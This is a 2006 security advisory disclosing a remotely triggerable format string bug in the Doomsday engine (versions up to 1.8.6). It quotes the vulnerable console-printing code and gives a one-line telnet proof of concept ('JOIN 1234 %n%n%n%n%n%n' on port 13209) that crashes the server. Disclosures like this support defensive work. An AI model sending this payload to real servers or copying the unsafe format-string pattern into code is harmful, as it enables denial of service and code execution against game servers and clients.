####################################################################### Luigi Auriemma Application: Doomsday engine http://www.doomsdayhq.com http://deng.sourceforge.net Versions: <= 1.8.6 (and current SVN 1.9.0) Platforms: Windows, *nix, *BSD, Mac and others Bug: format string bug in Con_Message and Con_Printf Exploitation: remote, versus server and clients Date: 03 Apr 2006 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== The Doomsday engine is an enhanced and well known open source port of the original Doom engine and is also one of the most played on Internet. ####################################################################### ====== 2) Bug ====== The Doomsday engine contains many functions used for the visualization of the messages in the console. Both Con_Message and conPrintf are vulnerable to a format string vulnerability which could allow an attacker to execute malicious code versus the server or the clients. The first function calls a "Con_Printf(buffer)" while the second one calls a "SW_Printf(prbuff)" if SW_IsActive is enabled (which means ever). From Src/con_main.c: void Con_Message(const char *message, ...) { va_list argptr; char *buffer; if(message[0]) { buffer = malloc(0x10000); va_start(argptr, message); vsprintf(buffer, message, argptr); va_end(argptr); #ifdef UNIX if(!isDedicated) { // These messages are supposed to be visible in the real console. fprintf(stderr, "%s", buffer); } #endif // These messages are always dumped. If consoleDump is set, // Con_Printf() will dump the message for us. if(!consoleDump) printf("%s", buffer); // Also print in the console. Con_Printf(buffer); free(buffer); } Con_DrawStartupScreen(true); } ... void conPrintf(int flags, const char *format, va_list args) { unsigned int i; int lbc; // line buffer cursor char *prbuff, *lbuf = malloc(maxLineLen + 1); cbline_t *line; if(flags & CBLF_RULER) { Con_AddRuler(); flags &= ~CBLF_RULER; } // Allocate a print buffer that will surely be enough (64Kb). // FIXME: No need to allocate on EVERY printf call! prbuff = malloc(65536); // Format the message to prbuff. vsprintf(prbuff, format, args); if(consoleDump) fprintf(outFile, "%s", prbuff); if(SW_IsActive()) SW_Printf(prbuff); ... ####################################################################### =========== 3) The Code =========== Connect with telnet to port 13209 (default) of a DoomsDay server and type: JOIN 1234 %n%n%n%n%n%n The server will crash immediately. ####################################################################### ====== 4) Fix ====== No fix. No reply from the developers. #######################################################################